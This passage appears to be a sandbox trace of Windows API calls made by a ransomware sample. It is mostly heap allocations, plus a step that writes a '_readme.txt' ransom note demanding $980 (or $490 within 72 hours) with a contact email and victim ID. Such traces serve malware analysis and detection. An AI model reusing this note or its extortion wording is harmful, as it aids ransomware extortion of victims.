0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.266] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.266] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.267] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.267] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.267] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.267] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.267] PathFindFileNameW (pszPath="") returned="" [0124.267] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.267] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.268] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.268] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.268] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.268] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0124.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.268] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.268] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0124.269] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.269] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.269] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.269] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.269] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.269] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.269] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.269] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.269] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.269] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.269] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.269] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.270] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.270] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.270] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.270] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.271] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, 